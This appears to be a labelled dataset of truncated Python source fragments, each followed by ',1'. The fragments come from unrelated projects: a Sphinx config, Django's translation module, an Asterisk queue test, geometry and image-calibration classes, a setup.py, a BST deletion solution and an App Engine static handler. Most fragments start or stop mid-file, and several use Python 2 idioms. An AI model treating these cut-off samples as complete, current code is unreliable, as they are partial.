directories to ignore when looking for source files. # This patterns also effect to html_static_path and html_extra_path exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The name of the Pygments (syntax highlighting) style to use. # pygments_style = 'sphinx' # If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False # -- Options for HTML output ---------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # #import sphinx_rtd_theme html_theme = ""phaser-editor"" # Uncomment for generate Eclipse Offline Help #html_theme = ""eclipse-help"" html_theme_path = [""_themes""] html_show_sourcelink = False html_show_sphinx = False html_favicon = ""logo.png"" html_title = ""Phaser Editor Help"" html_show_copyright = True print(html_theme_path) #html_theme = 'classic' highlight_language = 'javascript' # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named ""default.css"" will overwrite the builtin ""default.css"". html_static_path = ['_static'] # -- Options for HTMLHelp output ------------------------------------------ # Output file base name for HTML help builder. htmlhelp_basename = 'PhaserEditordoc' # -- Options for LaTeX output --------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # 'preamble': '', # Latex figure (float) alignment # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'PhaserEditor2D.tex', u'Phaser Editor 2D Documentation', u'Arian Fornaris', 'manual'), ] # -- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'PhaserEditor2D', u'Phaser Editor 2D Documentation', author, 'Arian', 'A friendly HTML5 game IDE.', 'Miscellaneous'), ] ",1 "IO from django.utils.importlib import import_module from django.utils.safestring import mark_safe, SafeData from django.utils.thread_support import currentThread # Translations are cached in a dictionary for every language+app tuple. # The active translations are stored by threadid to make them thread local. _translations = {} _active = {} # The default translation is based on the settings file. _default = None # This is a cache for normalized accept-header languages to prevent multiple # file lookups when checking the same locale on repeated requests. _accepted = {} # Format of Accept-Language header values. From RFC 2616, section 14.4 and 3.9. accept_language_re = re.compile(r''' ([A-Za-z]{1,8}(?:-[A-Za-z]{1,8})*|\*) # ""en"", ""en-au"", ""x-y-z"", ""*"" (?:;q=(0(?:\.\d{,3})?|1(?:.0{,3})?))? # Optional ""q=1.00"", ""q=0.8"" (?:\s*,\s*|$) # Multiple accepts per header. ''', re.VERBOSE) def to_locale(language, to_lower=False): """""" Turns a language name (en-us) into a locale name (en_US). If 'to_lower' is True, the last component is lower-cased (en_us). """""" p = language.find('-') if p >= 0: if to_lower: return language[:p].lower()+'_'+language[p+1:].lower() else: return language[:p].lower()+'_'+language[p+1:].upper() else: return language.lower() def to_language(locale): """"""Turns a locale name (en_US) into a language name (en-us)."""""" p = locale.find('_') if p >= 0: return locale[:p].lower()+'-'+locale[p+1:].lower() else: return locale.lower() class DjangoTranslation(gettext_module.GNUTranslations): """""" This class sets up the GNUTranslations context with regard to output charset. Django uses a defined DEFAULT_CHARSET as the output charset on Python 2.4. With Python 2.3, use DjangoTranslation23. """""" def __init__(self, *args, **kw): from django.conf import settings gettext_module.GNUTranslations.__init__(self, *args, **kw) # Starting with Python 2.4, there's a function to define # the output charset. Before 2.4, the output charset is # identical with the translation file charset. try: self.set_output_charset('utf-8') except AttributeError: pass self.django_output_charset = 'utf-8' self.__language = '??' def merge(self, other): self._catalog.update(other._catalog) def set_language(self, language): self.__language = language def language(self): return self.__language def __repr__(self): return """" % self.__language class DjangoTranslation23(DjangoTranslation): """""" Compatibility class that is only used with Python 2.3. Python 2.3 doesn't support set_output_charset on translation objects and needs this wrapper class to make sure input charsets from translation files are correctly translated to output charsets. With a full switch to Python 2.4, this can be removed from the source. """""" def gettext(self, msgid): res = self.ugettext(msgid) return res.encode(self.django_output_charset) def ngettext(self, msgid1, msgid2, n): res = self.ungettext(msgid1, msgid2, n) return res.encode(self.django_output_charset) def translation(language): """""" Returns a translation object. This translation object will be constructed out of multiple GNUTranslations objects by merging their catalogs. It will construct a object for the requested language and add a fallback to the default language, if it's different from the requested language. """""" global _translations t = _translations.get(language, None) if t is not None: return t from django.conf import settings # set up the right translation class klass = DjangoTranslation if sys.version_info < (2, 4): klass = DjangoTranslation23 globalpath = os.path.join(os.path.dirname(sys.modules[settings.__module__].__file__), 'locale') if settings.SETTINGS_MODULE is not None: parts = settings.SETTINGS_MODULE.split('.') project = import_module(parts[0]) projectpath = os.path.join(os.path.dirname(project.__file__), 'locale') else: projectpath = None def _fetch(lang, fallback=None): global _translations loc = to_locale(lang) res = _translations.get(lang, None) if res is not None: return res def _translation(path): try: t = gettext_module.translation('django', path, [loc], klass) t.set_language(lang) return t except IOError, e: return None res = _translation(globalpath) # We want to ensure that, for example, ""en-gb"" and ""en-us"" don't share # the same translation object (thus, merging en-us with a local update # doesn't affect en-gb), even though they will both use the core ""en"" # translation. So we have to subvert Python's internal gettext caching. base_lang = lambda x: x.split('-', 1)[0] if base_lang(lang) in [base_lang(trans) for trans in _translations]: res._info = res._info.copy() res._catalog = res._catalog.copy() def _merge(path): t = _translation(path) if t is not None: if res is None: return t else: res.merge(t) return res for localepath in settings.LOCALE_PATHS: if os.path.isdir(localepath): res = _merge(localepath) if projectpath and os.path.isdir(projectpath): res = _merge(projectpath) for appname in settings.INSTALLED_APPS: app = import_module(appname) apppath = os.path.join(os.path.dirname(app.__file__), 'locale') if os.path.isdir(apppath): res = _merge(apppath) if res is None: if fallback is not None: res = fallback else: return gettext_module.NullTranslations() _translations[lang] = res return res default_translation = _fetch(settings.LANGUAGE_CODE) current_translation = _fetch(language, fallback=default_translation) return current_translation def activate(language): """""" Fetches the translation object for a given tuple of application name and language and installs it as the current translation object for the current thread. """""" _active[currentThread()] = translation(language) def deactivate(): """""" Deinstalls the currently active translation object so that further _ calls will resolve against the default translation object, again. """""" global _active if currentThread() in _active: del _active[currentThread()] def deactivate_all(): """""" Makes the active translation object a NullTranslations() instance. This is useful when we want delayed translations to appear as the original string for some reason. """""" _active[currentThread()] = gettext_module.NullTranslations() def get_language(): """"""Returns the currently selected language."""""" t = _active.get(currentThread(), None) if t is not None: try: return to_language(t.language()) except AttributeError: pass # If we don't have a real translation object, assume it's the default language. from django.conf import settings return settings.LANGUAGE_CODE def get_language_bidi(): """""" Returns selected language's BiDi layout. False = left-to-right layout True = right-to-left layout """""" from django.conf import settings base_lang = get_language().split('-')[0] return base_lang in settings.LANGUAGES_BIDI def catalog(): """""" Returns the current active catalog for further processing. This can be used if you need to modify the catalog or want to access the whole message catalog instead of just translating one string. """""" global _default, _active t = _active.get(currentThread(), None) if t is not None: return t if _default is None: from django.conf import settings _default = translation(settings.LANGUAGE_CODE) return _default def do_translate(message, translation_function): """""" Translates 'message' using the given 'translation_function' name -- which will be either gettext or ugettext. It uses the current thread to find the translation object to use. If no current translation is activated, the message will be run through the default translation object. """""" global _default, _active t = _active.get(currentThread(), None) if t is not None: result = getattr(t, translation_function)(message) else: if _default is None: from django.conf import settings _default = translation(settings.LANGUAGE_CODE) result = getattr(_default, translation_function)(message) if isinstance(message, SafeData): return mark_safe(result) return result def gettext(message): return do_translate(message, 'gettext') def ugettext(message): return do_translate(message, 'ugettext') def gettext_noop(message): """""" Marks strings for translation but doesn't translate them now. This can be used to store strings in global variables that should stay in the base language (because they might be used externally) and will be translated later. """""" return message def do_ntranslate(singular, plural, number, translation_function): global _default, _active t = _active.get(currentThread(), None) if t is not None: return getattr(t, translation_function)(singular, plural, number) if _default is None: from django.conf import settings _default = translation(settings.LANGUAGE_CODE) return getattr(_default, translation_function)(singular, plural, number) def ngettext(singular, plural, number): """""" Returns a UTF-8 bytestring of the translation of either the singular or plural, based on the number. """""" return do_ntranslate(singular, plural, number, 'ngettext') def ungettext(singular, plural, number): """""" Returns a unicode strings of the translation of either the singular or plural, based on the number. """""" return do_ntranslate(singular, plural, number, 'ungettext') def check_for_language(lang_code): """""" Checks whether there is a global language file for the given language code. This is used to decide whether a user-provided language is available. This is only used for language codes from either the cookies or session. """""" from django.conf import settings globalpath = os.path.join(os.path.dirname(sys.modules[settings.__module__].__file__), 'locale') if gettext_module.find('django', globalpath, [to_locale(lang_code)]) is not None: return True else: return False def get_language_from_request(request): """""" Analyzes the request to find what language the user wants the system to show. Only languages listed in settings.LANGUAGES are taken into account. If the user requests a sublanguage where we have a main language, we send out the main language. """""" global _accepted from django.conf import settings globalpath = os.path.join(os.path.dirname(sys.modules[settings.__module__].__file__), 'locale') supported = dict(settings.LANGUAGES) if hasattr(request, 'session'): lang_code = request.session.get('django_language', None) if lang_code in supported and lang_code is not None and check_for_language(lang_code): return lang_code lang_code = request.COOKIES.get(settings.LANGUAGE_COOKIE_NAME) if lang_code and lang_code in supported and check_for_language(lang_code): return lang_code accept = request.META.get('HTTP_ACCEPT_LANGUAGE', '') for accept_lang, unused in parse_accept_lang_header(accept): if accept_lang == '*': break # We have a very restricted form for our language files (no encoding # specifier, since they all must be UTF-8 and only one possible # language each time. So we avoid the overhead of gettext.find() and # work out the MO file manually. # 'normalized' is the root name of the locale in POSIX format (which is # the format used for the directories holding the MO files). normalized = locale.locale_alias.get(to_locale(accept_lang, True)) if not normalized: continue # Remove the default encoding from locale_alias. normalized = normalized.split('.')[0] if normalized in _accepted: # We've seen this locale before and have an MO file for it, so no # need to check again. return _accepted[normalized] for lang, dirname in ((accept_lang, normalized), (accept_lang.split('-')[0], normalized.split('_')[0])): if lang.lower() not in supported: continue langfile = os.path.join(globalpath, dirname, 'LC_MESSAGES', 'django.mo') if os.path.exists(langfile): _accepted[normalized] = lang return lang return settings.LANGUAGE_CODE def get_date_formats(): """""" Checks whether translation files provide a translation for some technical message ID to store date and time formats. If it doesn't contain one, the formats provided in the settings will be used. """""" from django.conf import settings date_format = ugettext('DATE_FORMAT') datetime_format = ugettext('DATETIME_FORMAT') time_format = ugettext('TIME_FORMAT') if date_format == 'DATE_FORMAT': date_format = settings.DATE_FORMAT if datetime_format == 'DATETIME_FORMAT': datetime_format = settings.DATETIME_FORMAT if time_format == 'TIME_FORMAT': time_format = settings.TIME_FORMAT return date_format, datetime_format, time_format def get_partial_date_formats(): """""" Checks whether translation files provide a translation for some technical message ID to store partial date formats. If it doesn't contain one, the formats provided in the settings will be used. """""" from django.conf import settings year_month_format = ugettext('YEAR_MONTH_FORMAT') month_day_format = ugettext('MONTH_DAY_FORMAT') if year_month_format == 'YEAR_MONTH_FORMAT': year_month_format = settings.YEAR_MONTH_FORMAT if month_day_format == 'MONTH_DAY_FORMAT': month_day_format = settings.MONTH_DAY_FORMAT return year_month_format, month_day_format dot_re = re.compile(r'\S') def blankout(src, char): """""" Changes every non-whitespace character to the given char. Used in the templatize function. """""" return dot_re.sub(char, src) inline_re = re.compile(r""""""^\s*trans\s+((?:"".*?"")|(?:'.*?'))\s*"""""") block_re = re.compile(r""""""^\s*blocktrans(?:\s+|$)"""""") endblock_re = re.compile(r""""""^\s*endblocktrans$"""""") plural_re = re.compile(r""""""^\s*plural$"""""") constant_re = re.compile(r""""""_\(((?:"".*?"")|(?:'.*?'))\)"""""") def templatize(src): """""" Turns a Django template into something that is understood by xgettext. It does so by translating the Django translation tags into standard gettext function invocations. """""" from django.template import Lexer, TOKEN_TEXT, TOKEN_VAR, TOKEN_BLOCK out = StringIO() intrans = False inplural = False singular = [] plural = [] for t in Lexer(src, None).tokenize(): if intrans: if t.token_type == TOKEN_BLOCK: endbmatch = endblock_re.match(t.contents) pluralmatch = plural_re.match(t.contents) if endbmatch: if inplural: out.write(' ngettext(%r,%r,count) ' % (''.join(singular), ''.join(plural))) for part in singular: out.write(blankout(part, 'S')) for part in plural: out.write(blankout(part, 'P')) else: out.write(' gettext(%r) ' % ''.join(singular)) for part in singular: out.write(blankout(part, 'S')) intrans = False inplural = False singular = [] plural = [] elif pluralmatch: inplural = True else: raise SyntaxError(""Translation blocks must not include other block tags: %s"" % t.contents) elif t.token_type == TOKEN_VAR: if inplural: plural.append('%%(%s)s' % t.contents) else: singular.append('%%(%s)s' % t.contents) elif t.token_type == TOKEN_TEXT: if inplural: plural.append(t.contents) else: singular.append(t.contents) else: if t.token_type == TOKEN_BLOCK: imatch = inline_re.match(t.contents) bmatch = block_re.match(t.contents) cmatches = constant_re.findall(t.contents) if imatch: g = imatch.group(1) if g[0] == '""': g = g.strip('""') elif g[0] == ""'"": g = g.strip(""'"") out.write(' gettext(%r) ' % g) elif bmatch: for fmatch in constant_re.findall(t.contents): out.write(' _(%s) ' % fmatch) intrans = True inplural = False singular = [] plural = [] elif cmatches: for cmatch in cmatches: out.write(' _(%s) ' % cmatch) else: out.write(blankout(t.contents, 'B')) elif t.token_type == TOKEN_VAR: parts = t.contents.split('|') cmatch = constant_re.match(parts[0]) if cmatch: out.write(' _(%s) ' % cmatch.group(1)) for p in parts[1:]: if p.find(':_(') >= 0: out.write(' %s ' % p.split(':',1)[1]) else: out.write(blankout(p, 'F')) else: out.write(blankout(t.contents, 'X')) return out.getvalue() def parse_accept_lang_header(lang_string): """""" Parses the lang_string, which is the body of an HTTP Accept-Language header, and returns a list of (lang, q-value), ordered by 'q' values. Any format errors in lang_string results in an empty list being returned. """""" result = [] pieces = accept_language_re.split(lang_string) if pieces[-1]: return [] for i in range(0, len(pieces) - 1, 3): first, lang, priority = pieces[i : i + 3] if first: return [] priority = priority and float(priority) or 1.0 result.append((lang, priority)) result.sort(lambda x, y: -cmp(x[1], y[1])) return result ",1 "st_common.Ami() ast.username = sys.argv[1] ast.password = sys.argv[2] if ast.conn() == False: print(""Could not connect."") return 1 # create dlma ret = ast.sendCmd(""OutQueueCreate"", Name=""TestDlma"", Detail=""TestDetail"") res = ret if res[0][""Response""] != ""Success"": print(""Couldn not pass the test_queue. res[%s]"" % res) raise ""test_queue"" for i in range(10): evt = ast.recvEvt() if evt[""Event""] == ""OutQueueCreate"": break if evt[""Name""] != ""TestDlma"" or evt[""Detail""] != ""TestDetail"": print(""Couldn not pass the test_queue. ret[%s]"" % evt) raise ""test_queue"" test_uuid = evt[""Uuid""] # get dlma ret = ast.sendCmd(""OutQueueShow"", Uuid=test_uuid) flg = False for i in range(len(ret)): msg = ret[i] if ""Uuid"" not in msg: continue if msg[""Uuid""] == test_uuid: flg = True break if flg == False: print(""Couldn not pass the test_queue. ret[%s]"" % ret) raise ""test_queue"" # delete dlma ret = ast.sendCmd(""OutQueueDelete"", Uuid=test_uuid) if ret[0][""Response""] != ""Success"": print(""Couldn not pass the test_queue. ret[%s]"" % ret) raise ""test_queue"" for i in range(10): ret = ast.recvEvt() if ret[""Event""] == ""OutQueueDelete"": break if ret[""Uuid""] != test_uuid: print(""Could not pass the test_queue. ret[%s]"" % ret) raise ""test_queue"" # get campaign ret = ast.sendCmd(""OutQueueShow"", Uuid=test_uuid) for i in range(len(ret)): msg = ret[i] if ""Uuid"" not in msg: continue if msg[""Uuid""] == test_uuid: print(""Could not pass the test_queue. ret[%s], uuid[%s]"" % (ret, test_uuid)) raise ""test_queue"" return 0 if __name__ == '__main__': main() ",1 " defined by a texture image and 4 boundary points. Choose the first point as the origin of the surface's coordinate system. :param image: image array :param edge_points3d: array of 3d coordinates of 4 corner points in clockwise direction :param edge_points2d: array of 2d coordinates of 4 corner points in clockwise direction """""" assert len(edge_points3d) == 4 and len(edge_points2d) == 4 self.image = image self.edge_points3d = edge_points3d self.edge_points2d = np.float32(edge_points2d) # This is required for using cv2's getPerspectiveTransform self.normal = self._get_normal_vector() def top_left_corner3d(self): return self.edge_points3d[0] def top_right_corner3d(self): return self.edge_points3d[1] def bottom_right_corner3d(self): return self.edge_points3d[2] def bottom_left_corner3d(self): return self.edge_points3d[3] def distance_to_point(self, point): point_to_surface = point - self.top_left_corner3d() distance_to_surface = self.normal.dot(point_to_surface) return distance_to_surface def _get_normal_vector(self): """""" :return: the normal vector of the surface. It determined the front side of the surface and it's not necessarily a unit vector """""" p0 = self.edge_points3d[0] p1 = self.edge_points3d[1] p3 = self.edge_points3d[3] v1 = p3 - p0 v2 = p1 - p0 normal = np.cross(v1, v2) norm = np.linalg.norm(normal) return normal / norm class Polyhedron(object): def __init__(self, surfaces): self.surfaces = surfaces class Space(object): def __init__(self, models=None): self.models = models or [] def add_model(self, model): assert isinstance(model, Polyhedron) self.models.append(model) class Line2D(object): def __init__(self, point1, point2): """""" Using the line equation a*x + b*y + c = 0 with b >= 0 :param point1: starting point :param point2: ending point :return: a Line object """""" assert len(point1) == 2 and len(point2) == 2 self.a = point2[1] - point1[1] self.b = point1[0] - point2[0] self.c = point1[1] * point2[0] - point1[0] * point2[1] if self.b < 0: self.a = -self.a self.b = -self.b self.c = -self.c def is_point_on_left(self, point): return self.a * point[0] + self.b * point[1] + self.c > 0 def is_point_on_right(self, point): return self.a * point[0] + self.b * point[1] + self.c < 0 def is_point_on_line(self, point): return self.a * point[0] + self.b * point[1] + self.c == 0 def get_y_from_x(self, x): if self.b == 0: return 0.0 return 1.0 * (-self.c - self.a * x) / self.b def get_x_from_y(self, y): if self.a == 0: return 0.0 return 1.0 * (-self.c - self.b * y) / self.a ",1 "fnmatchcase from distutils.util import convert_path from propane_distribution import cmdclassdict from setuptools import setup, find_packages from engineer import version PROJECT = 'engineer' ################################################################################ # find_package_data written by Ian Bicking. # Provided as an attribute, so you can append to these instead # of replicating them: standard_exclude = ('*.py', '*.pyc', '*~', '.*', '*.bak', '*.swp*') standard_exclude_directories = ('.*', 'CVS', '_darcs', './build', './dist', 'EGG-INFO', '*.egg-info') def find_package_data( where='.', package='', exclude=standard_exclude, exclude_directories=standard_exclude_directories, only_in_packages=True, show_ignored=False): """""" Return a dictionary suitable for use in ``package_data`` in a distutils ``setup.py`` file. The dictionary looks like:: {'package': [files]} Where ``files`` is a list of all the files in that package that don't match anything in ``exclude``. If ``only_in_packages`` is true, then top-level directories that are not packages won't be included (but directories under packages will). Directories matching any pattern in ``exclude_directories`` will be ignored; by default directories with leading ``.``, ``CVS``, and ``_darcs`` will be ignored. If ``show_ignored`` is true, then all the files that aren't included in package data are shown on stderr (for debugging purposes). Note patterns use wildcards, or can be exact paths (including leading ``./``), and all searching is case-insensitive. This function is by Ian Bicking. """""" out = {} stack = [(convert_path(where), '', package, only_in_packages)] while stack: where, prefix, package, only_in_packages = stack.pop(0) for name in os.listdir(where): fn = os.path.join(where, name) if os.path.isdir(fn): bad_name = False for pattern in exclude_directories: if fnmatchcase(name, pattern) or fn.lower() == pattern.lower(): bad_name = True if show_ignored: print >> sys.stderr, ( ""Directory %s ignored by pattern %s"" % (fn, pattern)) break if bad_name: continue if os.path.isfile(os.path.join(fn, '__init__.py')): if not package: new_package = name else: new_package = package + '.' + name stack.append((fn, '', new_package, False)) else: stack.append((fn, prefix + name + '/', package, only_in_packages)) elif package or not only_in_packages: # is a file bad_name = False for pattern in exclude: if fnmatchcase(name, pattern) or fn.lower() == pattern.lower(): bad_name = True if show_ignored: print >> sys.stderr, ( ""File %s ignored by pattern %s"" % (fn, pattern)) break if bad_name: continue out.setdefault(package, []).append(prefix + name) return out ################################################################################ # noinspection PyShadowingBuiltins def get_install_requirements(requirements_file='requirements.txt'): requirements = [] with open(requirements_file) as file: temp = file.readlines() temp = [i[:-1] for i in temp] for line in temp: if line is None or line == '' or line.startswith(('#', '-e', '-r')): continue else: requirements.append(line) return requirements # noinspection PyShadowingBuiltins def get_readme(): with open('README.md') as file: return file.read() setup( name=PROJECT, version=version.string, author='Tyler Butler', author_email='tyler@tylerbutler.com', platforms='any', packages=find_packages(), entry_points={ 'console_scripts': [ 'engineer=engineer.engine:cmdline', 'engineer_dev=engineer.devtools:main [dev]' ], }, url='http://github.com/tylerbutler/engineer', license='MIT', description='A static website generator.', long_description=get_readme(), install_requires=get_install_requirements(), tests_require=get_install_requirements('requirements_tests.txt'), extras_require={ 'dev': ['argh', 'clint'] }, cmdclass=cmdclassdict, include_package_data=True, package_data=find_package_data(PROJECT, package=PROJECT, only_in_packages=False), # Setting to False doesn't create an egg - easier to debug and hack on zip_safe=True, ) ",1 "sional class TestListAllMedicines(TestCase): def setUp(self): # Making a HealthProfessional self.view = ListAllMedicines # Making medicati self.medicine = Medicine() self.medicine.name = ""Medicamento Teste"" self.medicine.active_ingredient = ""Teste Lab"" self.medicine.save() self.listing = Medicine.objects.all() def test_medicine_is_show(self): instance = self.view() self.assertEqual(instance.get_queryset()[0], self.listing[0]) ",1 " np from .base_image import BaseImage from .numpy_array_handler import filter_image, subframe_image class CalibratedImage(BaseImage): """"""Fiber face image analysis class Class that contains calibration images and executes corrections based on those images Attributes ---------- dark : str, array_like, or None The input used to set the dark image. See BaseImage.convert_image_to_array() for details ambient : str, array_like, or None The input used to set the ambient image. See BaseImage.convert_image_to_array() for details flat : str, array_like, or None The input used to set the flat image. See BaseImage.convert_image_to_array() for details kernel_size : int (odd) The kernel side length used when filtering the image. This value may need to be tweaked, especially with few co-added images, due to random noise. The filtered image is used for the centering algorithms, so for a ""true test"" use kernel_size=1, but be careful, because this may lead to needing a fairly high threshold for the noise. new_calibration : bool Whether or not self.calibration has been set with new images Args ---- image_input : str, array_like, or None, optional See BaseImage class for details dark : str, array_like, or None, optional Image input to instantiate BaseImage for dark image ambient : str, array_like, or None, optional Image input to instantiate BaseImage for ambient image flat : str, array_like, or None, optional Image input to instantiate BaseImage for flat image kernel_size : int (odd), optional Set the kernel size for filtering **kwargs : keworded arguments Passed into the BaseImage superclass """""" def __init__(self, image_input, dark=None, ambient=None, flat=None, kernel_size=9, **kwargs): self.dark = dark self.ambient = ambient self.flat = flat self.kernel_size = kernel_size self.new_calibration = True super(CalibratedImage, self).__init__(image_input, **kwargs) #=========================================================================# #==== Primary Image Getters ==============================================# #=========================================================================# def get_uncorrected_image(self): """"""Return the raw image without corrections or filtering. Returns ------- uncorrected_image : 2D numpy array Raw image or average of images (depending on image_input) """""" return self.convert_image_to_array(self.image_input) def get_image(self): """"""Return the corrected image This method must be called to get access to the corrected 2D numpy array being analyzed. Attempts to access a previously saved image under self.image_file or otherwise applies corrections to the raw images pulled from their respective files Returns ------- image : 2D numpy array Image corrected by calibration images """""" if self.image_file is not None and not self.new_calibration: return self.image_from_file(self.image_file) return self.execute_error_corrections(self.get_uncorrected_image()) def get_uncorrected_filtered_image(self, kernel_size=None, **kwargs): """"""Return a median filtered image Args ---- kernel_size : {None, int (odd)}, optional The side length of the kernel used to median filter the image. Uses self.kernel_size if None. Returns ------- filtered_image : 2D numpy array The stored image median filtered with the given kernel_size """""" image = self.get_uncorrected_image() if image is None: return None if kernel_size is None: kernel_size = self.kernel_size return filter_image(image, kernel_size, **kwargs) def get_filtered_image(self, kernel_size=None, **kwargs): """"""Return an error corrected and median filtered image Returns ------- filtered_image : 2D numpy array The stored image median filtered with the given kernel_size and error corrected using the given method """""" image = self.get_image() if image is None: return None if kernel_size is None: kernel_size = self.kernel_size return filter_image(image, kernel_size, **kwargs) #=========================================================================# #==== Calibration Image Getters ==========================================# #=========================================================================# def get_dark_image(self): """"""Returns the dark image. Args ---- full_output : boolean, optional Passed to converImageToArray function Returns ------- dark_image : 2D numpy array The dark image output_obj : ImageInfo, optional Object containing information about the image, if full_output=True """""" return BaseImage(self.dark).get_image() def get_ambient_image(self): """"""Returns the ambient image. Args ---- full_output : boolean, optional Passed to converImageToArray function Returns ------- dark_image : 2D numpy array The dark image output_obj : ImageInfo, optional Object containing information about the image, if full_output=True """""" return CalibratedImage(self.ambient, dark=self.dark).get_image() def get_flat_image(self): """"""Returns the flat image. Args ---- full_output : boolean, optional Passed to converImageToArray function Returns ------- dark_image : 2D numpy array The dark image output_obj : ImageInfo, optional Object containing information about the image, if full_output=True """""" return CalibratedImage(self.flat, dark=self.dark).get_image() def set_dark(self, dark): """"""Sets the dark calibration image."""""" self.dark = dark self.new_calibration = True def set_ambient(self, ambient): """"""Sets the ambient calibration image."""""" self.ambient = ambient self.new_calibration = True def set_flat(self, flat): """"""Sets the flat calibration images."""""" self.flat = flat self.new_calibration = True #=========================================================================# #==== Image Calibration Algorithm ========================================# #=========================================================================# def execute_error_corrections(self, image): """"""Applies corrective images to image Applies dark image to the flat field and ambient images. Then applies flat field and ambient image correction to the primary image Args ---- image : 2D numpy array Image to be corrected Returns ------- corrected_image : 2D numpy array Corrected image """""" if image is None: return None corrected_image = image dark_image = self.get_dark_image() if dark_image is not None and dark_image.shape != corrected_image.shape: dark_image = subframe_image(dark_image, self.subframe_x, self.subframe_y, self.width, self.height) corrected_image = self.remove_dark_image(corrected_image, dark_image) ambient_image = self.get_ambient_image() if ambient_image is not None: if ambient_image.shape != corrected_image.shape: ambient_image = subframe_image(ambient_image, self.subframe_x, self.subframe_y, self.width, self.height) ambient_exp_time = BaseImage(self.ambient).exp_time if self.exp_time is not None and ambient_exp_time != self.exp_time: corrected_image = self.remove_dark_image(corrected_image, ambient_image * self.exp_time / ambient_exp_time) else: corrected_image = self.remove_dark_image(corrected_image, ambient_image) flat_image = self.get_flat_image() if flat_image is not None: if flat_image.shape != corrected_image.shape: flat_image = subframe_image(flat_image, self.subframe_x, self.subframe_y, self.width, self.height) corrected_image *= flat_image.mean() / flat_image self.new_calibration = False return corrected_image def remove_dark_image(self, image, dark_image=None): """"""Uses dark image to correct image Args ---- image : 2D numpy array numpy array of the image dark_image : 2D numpy array dark image to be removed Returns ------- output_array : 2D numpy array corrected image """""" if dark_image is None: dark_image = self.get_dark_image() if dark_image is None: dark_image = np.zeros_like(image) output_image = image - dark_image # Renormalize to the approximate smallest value (avoiding hot pixels) output_image -= filter_image(output_image, 5).min() # Prevent any dark/ambient image hot pixels from leaking through output_image *= (output_image > -1000.0).astype('uint8') return output_image #=========================================================================# #==== Attribute Setters ==================================================# #=========================================================================# def set_attributes_from_object(self, object_file): super(CalibratedImage, self).set_attributes_from_object(object_file) self.dark = self.change_path(self.dark) self.ambient = self.change_path(self.ambient) self.flat = self.change_path(self.flat) ",1 "= None def deleteNode(self, root: TreeNode, key: int) -> TreeNode: # search for the node and its parent self.findNodeAndParent(root, key) if self.node == root and not root.left and not root.right: return None if self.node: self.deleteNodeHelper(self.node, self.parent) return root def deleteNodeHelper(self, node, parent): # if node is a leaf if not node.left and not node.right: if parent: if parent.left == node: parent.left = None else: parent.right = None return # if node has only one child if not node.left or not node.right: child = node.left if not node.right else node.right node.val = child.val node.left = child.left node.right = child.right return # node has two children successor, succesorParent = self.getNodeSuccessor(node) node.val = successor.val self.deleteNodeHelper(successor, succesorParent) def getNodeSuccessor(self, node): succesorParent = node successor = node.right while successor.left: succesorParent = successor successor = successor.left return successor, succesorParent def findNodeAndParent(self, root, key): if not root: return if root.val == key: self.node = root return self.parent = root if key < root.val: self.findNodeAndParent(root.left, key) else: self.findNodeAndParent(root.right, key) root = TreeNode(10) root.left = TreeNode(3) root.left.left = TreeNode(2) root.left.right = TreeNode(8) root.left.right.left = TreeNode(7) root.left.right.right = TreeNode(9) root.right = TreeNode(15) root.right.left = TreeNode(13) root.right.right = TreeNode(17) root.right.right.right = TreeNode(19) ob = Solution() root = TreeNode(50) root = ob.deleteNode(root, 50) print(root) ",1 "xcept in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """"""Serves static content for ""static_dir"" and ""static_files"" handlers."""""" import base64 import errno import httplib import mimetypes import os import os.path import re import zlib from google.appengine.api import appinfo from google.appengine.tools import augment_mimetypes from google.appengine.tools.devappserver2 import errors from google.appengine.tools.devappserver2 import url_handler _FILE_MISSING_ERRNO_CONSTANTS = frozenset([errno.ENOENT, errno.ENOTDIR]) # Run at import time so we only do this once. augment_mimetypes.init() class StaticContentHandler(url_handler.UserConfiguredURLHandler): """"""Abstract base class for subclasses serving static content."""""" # Associate the full path of a static file with a 2-tuple containing the: # - mtime at which the file was last read from disk # - a etag constructed from a hash of the file's contents # Statting a small file to retrieve its mtime is approximately 20x faster than # reading it to generate a hash of its contents. _filename_to_mtime_and_etag = {} def __init__(self, root_path, url_map, url_pattern): """"""Initializer for StaticContentHandler. Args: root_path: A string containing the full path of the directory containing the application's app.yaml file. url_map: An appinfo.URLMap instance containing the configuration for this handler. url_pattern: A re.RegexObject that matches URLs that should be handled by this handler. It may also optionally bind groups. """""" super(StaticContentHandler, self).__init__(url_map, url_pattern) self._root_path = root_path def _get_mime_type(self, path): """"""Returns the mime type for the file at the given path."""""" if self._url_map.mime_type is not None: return self._url_map.mime_type _, extension = os.path.splitext(path) return mimetypes.types_map.get(extension, 'application/octet-stream') def _handle_io_exception(self, start_response, e): """"""Serves the response to an OSError or IOError. Args: start_response: A function with semantics defined in PEP-333. This function will be called with a status appropriate to the given exception. e: An instance of OSError or IOError used to generate an HTTP status. Returns: An emply iterable. """""" if e.errno in _FILE_MISSING_ERRNO_CONSTANTS: start_response('404 Not Found', []) else: start_response('403 Forbidden', []) return [] @staticmethod def _calculate_etag(data): return base64.b64encode(str(zlib.crc32(data))) def _handle_path(self, full_path, environ, start_response): """"""Serves the response to a request for a particular file. Note that production App Engine treats all methods as ""GET"" except ""HEAD"". Unless set explicitly, the ""Expires"" and ""Cache-Control"" headers are deliberately different from their production values to make testing easier. If set explicitly then the values are preserved because the user may reasonably want to test for them. Args: full_path: A string containing the absolute path to the file to serve. environ: An environ dict for the current request as 